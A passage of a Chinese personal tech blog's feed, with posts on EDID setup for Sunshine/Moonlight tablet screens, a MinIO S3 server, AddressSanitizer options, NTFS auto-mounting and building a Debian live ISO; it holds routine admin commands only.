&lt;h4 id=&quot;2-3-2-zi-ding-yi-edidwen-jian&quot;&gt;2.3.2 自定义EDID文件&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#232-%E8%87%AA%E5%AE%9A%E4%B9%89edid%E6%96%87%E4%BB%B6&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;自定义EDID文件，将虚拟显示器分辨率修改为平板电脑的原生分辨率 在这里推荐一个好用的EDID在线编辑网站&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;edid.wherelse.cc&#x2F;&quot;&gt;EDID解析与编辑工具(点击可查看)&lt;&#x2F;a&gt;，我们在网站左侧上传刚才保存的EDID文件，点击解析后，在网站下面的水平和垂直分辨率部分修改为平板电脑的原生分辨率&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;arch-sunshine-tablet-screen&#x2F;custom-edid-editor.png&quot; alt=&quot;自定义EDID文件&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;自定义EDID文件 编辑完成后，点击底部的下载EDID文件，并保存到一个目录中&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;将刚才下载的自定义EDID文件复制到系统中&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;sudo cp &amp;#x2F;xxxx下载的自定义EDID文件的路径xxxx&amp;#x2F;edid.bin &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;hdmi.bin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;修改GRUB配置文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;# GRUB boot loader configurationGRUB_DEFAULT=0GRUB_TIMEOUT=5GRUB_DISTRIBUTOR=&amp;quot;Arch&amp;quot;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;loglevel=5 nowatchdog nvidia_drm.modeset=1 video=HDMI-A-3:e&amp;quot;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;loglevel=5 nowatchdog nvidia_drm.modeset=1 video=HDMI-A-3:e drm.edid_firmware=HDMI-A-3:edid&amp;#x2F;hdmi.bin&amp;quot;GRUB_CMDLINE_LINUX=&amp;quot;&amp;quot;GRUB_DISABLE_OS_PROBER=false# Preload both GPT and MBR modules so that they are not missedGRUB_PRELOAD_MODULES=&amp;quot;part_gpt part_msdos&amp;quot;# Uncomment to enable booting from LUKS encrypted devices#GRUB_ENABLE_CRYPTODISK=y# Set to &amp;#x27;countdown&amp;#x27; or &amp;#x27;hidden&amp;#x27; to change timeout behavior,# press ESC key to display menu.GRUB_TIMEOUT_STYLE=menu# Uncomment to use basic consoleGRUB_TERMINAL_INPUT=console
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;更新Grub配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;wrap&quot; class=&quot;language-wrap &quot;&gt;&lt;code class=&quot;language-wrap&quot; data-lang=&quot;wrap&quot;&gt;sudo grub-mkconfig -o &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;重启后，即可看到虚拟显示器的分辨率已经变为我们指定的平板的分辨率。&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;arch-sunshine-tablet-screen&#x2F;virtual-monitor-resolution-changed.png&quot; alt=&quot;成功修改分辨率后的虚拟显示器&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;成功修改分辨率后的虚拟显示器&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;将新添加的虚拟显示器作为Sunshine的默认捕捉显示器即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;san-shi-yong-moonlightzuo-wei-ke-hu-duan-lian-jie-dao-dian-nao&quot;&gt;三、使用MoonLight作为客户端连接到电脑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#%E4%B8%89%E4%BD%BF%E7%94%A8moonlight%E4%BD%9C%E4%B8%BA%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BF%9E%E6%8E%A5%E5%88%B0%E7%94%B5%E8%84%91&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-an-zhuang-moonlight&quot;&gt;3.1 安装Moonlight&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#31-%E5%AE%89%E8%A3%85moonlight&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;其中iOS和iPad OS设备建议使用MoonLight砖家版（APP Store美区有上架；国区ID也可以通过TestFlight使用测试版，且测试版的版本更新、功能更多）来满足竖屏使用副屏的操作。&lt;&#x2F;p&gt;
&lt;p&gt;Android设备建议使用Moonlight阿西西修改版。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-bao-zheng-you-xiu-de-ju-yu-wang-huan-jing&quot;&gt;3.2 保证优秀的局域网环境&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rainafter.cn&#x2F;posts&#x2F;%E5%9C%A8arch-linux%E4%B8%8A%E4%BD%BF%E7%94%A8sunshine%E5%92%8Cmoonlight%E5%AE%9E%E7%8E%B0%E4%BD%BF%E7%94%A8%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E4%BD%9C%E4%B8%BA%E5%89%AF%E5%B1%8F&#x2F;#32-%E4%BF%9D%E8%AF%81%E4%BC%98%E7%A7%80%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E7%8E%AF%E5%A2%83&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;为了保证Moonlight连接，建议使用5Ghz的Wifi来进行无线连接&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>基于AWS S3协议搭建个人云存储服务</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/基于aws-s3协议搭建个人云存储服务/"/>
        <id>https://vercel.juzhong.asia/obsidian/基于aws-s3协议搭建个人云存储服务/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/基于aws-s3协议搭建个人云存储服务/">&lt;h1 id=&quot;ji-yu-aws-s3xie-yi-da-jian-ge-ren-yun-cun-chu-fu-wu&quot;&gt;基于AWS S3协议搭建个人云存储服务&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ji-yu-aws-s3xie-yi-da-jian-ge-ren-yun-cun-chu-fu-wu-1&quot;&gt;基于AWS S3协议搭建个人云存储服务&lt;&#x2F;h2&gt;
&lt;p&gt;相信风靡全球的亚马逊 AWS S3 的存储云服务大家已经耳熟能详了，如何自己搭建一个私有的S3存储云服务呢？&lt;&#x2F;p&gt;
&lt;p&gt;Minio 提供对象存储服务，兼容了 AWS S3 存储协议，用于非结构化的数据存。非结构化对象，比如图像，音、视频，日志文件，备份镜像…等等管理不方便，不定长，大小变化大、类型多，云端的访问复杂，minio就是来解决这种场景的。非结构化的文件从数KB到5TB都能很好的支持。开源并且用Go语言开发，有web操作界面，我们可以用它来搭建兼容S3协议的存储云服务。&lt;&#x2F;p&gt;
&lt;p&gt;官网 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.jianshu.com&#x2F;?t=https:&#x2F;&#x2F;minio.io&#x2F;&quot;&gt;https:&#x2F;&#x2F;minio.io&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;minio&#x2F;minio&quot;&gt;github 仓库&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;详情见如下操作&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost ~]# mkdir &amp;#x2F;data&amp;#x2F;aws_s3
[root@localhost ~]# wget https:&amp;#x2F;&amp;#x2F;dl.minio.io&amp;#x2F;server&amp;#x2F;minio&amp;#x2F;release&amp;#x2F;linux-amd64&amp;#x2F;minio
[root@localhost ~]# mv minio &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;
[root@localhost ~]# minio server &amp;#x2F;data&amp;#x2F;aws_s3&amp;#x2F;
Created minio configuration file successfully at &amp;#x2F;root&amp;#x2F;.minio

Endpoint:  http:&amp;#x2F;&amp;#x2F;10.5.10.89:9000  http:&amp;#x2F;&amp;#x2F;127.0.0.1:9000  http:&amp;#x2F;&amp;#x2F;172.17.0.1:9000
AccessKey: U3XLU4IMXY3IDKHU268F
SecretKey: &amp;#x2F;6NCL6HGacviaCgRqr2qLbVOjhkkJdRpV7wz0JJD
Region:    us-east-1
SQS ARNs:  &amp;lt;none&amp;gt;

Browser Access:
   http:&amp;#x2F;&amp;#x2F;10.5.10.89:9000  http:&amp;#x2F;&amp;#x2F;127.0.0.1:9000  http:&amp;#x2F;&amp;#x2F;172.17.0.1:9000

Command-line Access: https:&amp;#x2F;&amp;#x2F;docs.minio.io&amp;#x2F;docs&amp;#x2F;minio-client-quickstart-guide
   $ mc config host add myminio http:&amp;#x2F;&amp;#x2F;10.5.10.89:9000 U3XLU4IMXY3IDKHU268F &amp;#x2F;6NCL6HGacviaCgRqr2qLbVOjhkkJdRpV7wz0JJD

Object API (Amazon S3 compatible):
   Go:         https:&amp;#x2F;&amp;#x2F;docs.minio.io&amp;#x2F;docs&amp;#x2F;golang-client-quickstart-guide
   Java:       https:&amp;#x2F;&amp;#x2F;docs.minio.io&amp;#x2F;docs&amp;#x2F;java-client-quickstart-guide
   Python:     https:&amp;#x2F;&amp;#x2F;docs.minio.io&amp;#x2F;docs&amp;#x2F;python-client-quickstart-guide
   JavaScript: https:&amp;#x2F;&amp;#x2F;docs.minio.io&amp;#x2F;docs&amp;#x2F;javascript-client-quickstart-guide

Drive Capacity: 8.3 GiB Free, 9.1 GiB Total
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上我们就成功启动了minio的s3服务，默认端口9000，可以通过网页访问&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.jianshu.com&#x2F;?t=http:&#x2F;&#x2F;localhost:9000&quot;&gt;http:&#x2F;&#x2F;localhost:9000&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：第一次打开时候需要填写AccessKey和SecretKey才能进入，我们上面启动服务的时候，已经看到屏幕有输出了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;AccessKey: U3XLU4IMXY3IDKHU268F
SecretKey: &amp;#x2F;6NCL6HGacviaCgRqr2qLbVOjhkkJdRpV7wz0JJD
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把这两个Key填入，就能顺利进入&lt;&#x2F;p&gt;
&lt;p&gt;这就是我们的S3云存储的管理页面了，看着是不是和七牛什么的提供云存储的产品页面挺像的，原来大家都是基于S3协议开发的啊。&lt;&#x2F;p&gt;
&lt;p&gt;上传个文件试试。点击右下角的红色小加号按钮，弹出的菜单选择&quot;create bucket&quot;则会创建一个桶，输入名字&quot;test&quot;，然后再点击刚才那个红色小加号按钮，这次选择&quot;Upload file&quot;上传文件，给这个桶上传了一个叫login.txt的文本文档&lt;&#x2F;p&gt;
&lt;p&gt;至此我们可以看到文件已经上传，要访问这个文件，可以点击文件右侧的三个点的按钮，选择分享就可以得到一个外链，在浏览器中访问这个外链就可以直接访问文件。&lt;&#x2F;p&gt;
&lt;p&gt;那么文件到底被存到哪里去了呢，我们启动命令中其实指定了工作路径&#x2F;data&#x2F;aws_s3&#x2F;，所以到服务器这个目录下看看&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost ~]# ls &amp;#x2F;data&amp;#x2F;aws_s3&amp;#x2F;
test
[root@localhost ~]# ls &amp;#x2F;data&amp;#x2F;aws_s3&amp;#x2F;test&amp;#x2F;
login.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;桶名称test是一个目录，其下就有我上传的login.txt文件。&lt;&#x2F;p&gt;
&lt;p&gt;另外，如果想指定ip和端口，可以这样写&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost ~]# minio server &amp;#x2F;data&amp;#x2F;aws_s3&amp;#x2F; --address=0.0.0.0:9000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;想运行到后台&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost aws_s3]# nohup minio server &amp;#x2F;data&amp;#x2F;aws_s3&amp;#x2F; --address=0.0.0.0:443 &amp;amp;
[1] 19882
nohup: 忽略输入并把输出追加到&amp;quot;nohup.out&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样会把标准输出重定向到当前目录下的nohup.out文件中，然后进程就放到后台运行了。&lt;&#x2F;p&gt;
&lt;p&gt;据说minio可以搭建分布式存储系统 GlusterFS，这样就成了真正的云存储了，有时间再研究下把它从现在的单机测试，变成一朵存储云，哈哈！&lt;&#x2F;p&gt;
&lt;h1 id=&quot;docker-da-jian&quot;&gt;docker 搭建&lt;&#x2F;h1&gt;
&lt;h4 id=&quot;s3fu-wu-qi-minioda-jian&quot;&gt;S3服务器&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=Minio&amp;amp;spm=1001.2101.3001.7020&quot;&gt;Minio&lt;&#x2F;a&gt;搭建&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;hehe&quot; class=&quot;language-hehe &quot;&gt;&lt;code class=&quot;language-hehe&quot; data-lang=&quot;hehe&quot;&gt;docker run -d -p 9000:9000 \
-e MINIO_ACCESS_KEY=access_key \
-e MINIO_SECRET_KEY=secret_key \
-v &amp;#x2F;data:&amp;#x2F;data minio&amp;#x2F;minio \
server &amp;#x2F;data
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;打开浏览器：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;localhost:9000&#x2F;minio&quot;&gt;http:&#x2F;&#x2F;localhost:9000&#x2F;minio&lt;&#x2F;a&gt; 即可访问Minio服务器
用户名&#x2F;密码： access_key&#x2F;secret_key&lt;&#x2F;p&gt;
&lt;h4 id=&quot;s3wen-jian-cao-zuo-shang-chuan&quot;&gt;S3文件操作上传&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;运行minio客户端&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;hehe&quot; class=&quot;language-hehe &quot;&gt;&lt;code class=&quot;language-hehe&quot; data-lang=&quot;hehe&quot;&gt;docker run --name minio_client -v &amp;#x2F;data&amp;#x2F;package:&amp;#x2F;package -itd --entrypoint=&amp;#x2F;bin&amp;#x2F;sh minio&amp;#x2F;mc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;客户端配置S3服务器&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;hehe&quot; class=&quot;language-hehe &quot;&gt;&lt;code class=&quot;language-hehe&quot; data-lang=&quot;hehe&quot;&gt;docker exec minio_client mc config host add wecubeS3 http:&amp;#x2F;&amp;#x2F;ip:9000 access_key secret_key demoS3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上传文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;hehe&quot; class=&quot;language-hehe &quot;&gt;&lt;code class=&quot;language-hehe&quot; data-lang=&quot;hehe&quot;&gt;docker exec minio_client mc cp &amp;#x2F;data&amp;#x2F;package&amp;#x2F;test.txt demoS3&amp;#x2F;demo_bucket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;下载文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;hehe&quot; class=&quot;language-hehe &quot;&gt;&lt;code class=&quot;language-hehe&quot; data-lang=&quot;hehe&quot;&gt;docker exec minio_client mc cp demoS3&amp;#x2F;demo_bucket&amp;#x2F;test.txt &amp;#x2F;data&amp;#x2F;package&amp;#x2F;test.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;gong-wang-fang-wen&quot;&gt;公网访问&lt;&#x2F;h1&gt;
&lt;p&gt;如果需要外网访问，nginx反向代理即可。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>转载：asan 使用</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/转载-asan-使用/"/>
        <id>https://vercel.juzhong.asia/obsidian/转载-asan-使用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/转载-asan-使用/">&lt;h1 id=&quot;zhuan-zai-asan-shi-yong&quot;&gt;转载：asan 使用&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;fellow1988&#x2F;p&#x2F;17263427.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;fellow1988&#x2F;p&#x2F;17263427.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;参考：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;u013171226&#x2F;article&#x2F;details&#x2F;126876335&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;u013171226&#x2F;article&#x2F;details&#x2F;126876335&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.osc.edu&#x2F;resources&#x2F;getting_started&#x2F;howto&#x2F;howto_use_address_sanitizer&quot;&gt;https:&#x2F;&#x2F;www.osc.edu&#x2F;resources&#x2F;getting_started&#x2F;howto&#x2F;howto_use_address_sanitizer&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-make-cflags&quot;&gt;1. make cflags&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 静态链接 libasan
static: gcc test.c -o test -fsanitize=address -static-libasan -g

# 动态链接 libasan
dynamic: gcc test.c -o test -fsanitize=address -lasan -g
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-asan-env&quot;&gt;2. asan env&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export ASAN_OPTIONS=halt_on_error=false:print_scariness=true:fast_unwind_on_malloc=true:detect_leak=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ASAN_OPTIONS&lt;&#x2F;code&gt; 是 Address-Sanitizer 的运行选项环境变量。常用选项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;halt_on_error=0&lt;&#x2F;code&gt;：检测内存错误后继续运行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;detect_leaks=1&lt;&#x2F;code&gt;：使能内存泄露检测&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;malloc_context_size=15&lt;&#x2F;code&gt;：内存错误发生时，显示的调用栈层数为 15&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;log_path=&#x2F;home&#x2F;xos&#x2F;asan.log&lt;&#x2F;code&gt;：内存检查问题日志存放文件路径&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;suppressions=$SUPP_FILE&lt;&#x2F;code&gt;：屏蔽打印某些内存错误&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除了上述常用选项，以下还有一些选项可根据实际需要添加：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;detect_stack_use_after_return=1&lt;&#x2F;code&gt;：检查访问指向已被释放的栈空间&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;handle_segv=1&lt;&#x2F;code&gt;：处理段错误；也可以添加 &lt;code&gt;handle_sigill=1&lt;&#x2F;code&gt; 处理 SIGILL 信号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;quarantine_size=4194304&lt;&#x2F;code&gt;：内存 cache 可缓存 free 内存大小 4M&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-asan-runtime-does-not-come-first-in-initial-library-list&quot;&gt;3. asan runtime does not come first in initial library list&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export LD_PRELOAD=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;basan.so
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 中ntfs自动挂载</title>
        <published>2025-12-09T13:49:17+08:00</published>
        <updated>2025-12-09T13:49:17+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/linux 中ntfs自动挂载/"/>
        <id>https://vercel.juzhong.asia/2025/12/linux 中ntfs自动挂载/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/linux 中ntfs自动挂载/">&lt;h1 id=&quot;zi-dong-gua-zai-windowsfen-qu&quot;&gt;自动挂载windows分区&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install ntfs-3g
sudo ntfslabel &amp;#x2F;dev&amp;#x2F;sda2 &amp;quot;Windows&amp;quot; 
sudo mount -a
sudo systemctl restart udisks2.service
ls &amp;#x2F;media&amp;#x2F;peter&amp;#x2F;
sudo udevadm control --reload-rules &amp;amp;&amp;amp; sudo udevadm trigger
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>制作iso启动镜像</title>
        <published>2025-12-08T17:03:21+08:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/制作iso启动镜像/"/>
        <id>https://vercel.juzhong.asia/2025/12/制作iso启动镜像/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/制作iso启动镜像/">&lt;h1 id=&quot;shi-yong-lb-buildji-yu-debianshang-you-zhi-zuo-ni-de-linuxfa-xing-ban&quot;&gt;使用lb-build基于Debian上游制作你的Linux发行版&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install live-build
mkdir TestOS
cd TestOS

# Ubuntu 系统的 live-build 会自动注入 Ubuntu 默认包： 使用debian环境构建
podman pull debian:bookworm
podman run --privileged -it --rm -v.&amp;#x2F;:&amp;#x2F;build&amp;#x2F; debian:bookworm bash

sudo sed -i &amp;#x27;s&amp;#x2F;deb.debian.org&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;g&amp;#x27; &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;debian.sources
apt update
apt install -y live-build debootstrap debian-archive-keyring
cd &amp;#x2F;build&amp;#x2F;

sudo lb clean --purge
sudo rm config chroot cache -rf
lb config \
  --distribution bookworm \
  --archive-areas &amp;quot;main contrib non-free non-free-firmware&amp;quot; \
  --mirror-bootstrap https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian&amp;#x2F; \
  --mirror-chroot https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian&amp;#x2F; \
  --mirror-chroot-security https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian-security&amp;#x2F; \
  --mirror-binary-security https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian-security \
  --mirror-debian-installer https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian \
  --security true

sudo lb build

xorriso -as cdrecord -v dev=&amp;#x2F;dev&amp;#x2F;sr0 Blank=as_needed .&amp;#x2F;live-image-amd64.hybrid.iso
dd if=.&amp;#x2F;live-image-amd64.hybrid.iso of=&amp;#x2F;dev&amp;#x2F;sdb bs=64M conv=fsync status=progress

aptitude search &amp;#x27;~prequired|~pimportant&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;643461882&quot;&gt;参考教程&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-ben-di-xi-tong-huo-debootstrapgou-jian-zui-xiao-gen-wen-jian-xi-tong&quot;&gt;使用本地系统或debootstrap构建最小根文件系统&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;an-zhuang-gong-ju-yu-zhun-bei-huan-jing&quot;&gt;安装工具与准备环境&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装核心工具
sudo apt update
sudo apt install debootstrap squashfs-tools xorriso grub-pc-bin grub-efi-amd64-bin isolinux
# sudo apt install syslinux-utils mtools genisoimage rsync

# 创建工作目录
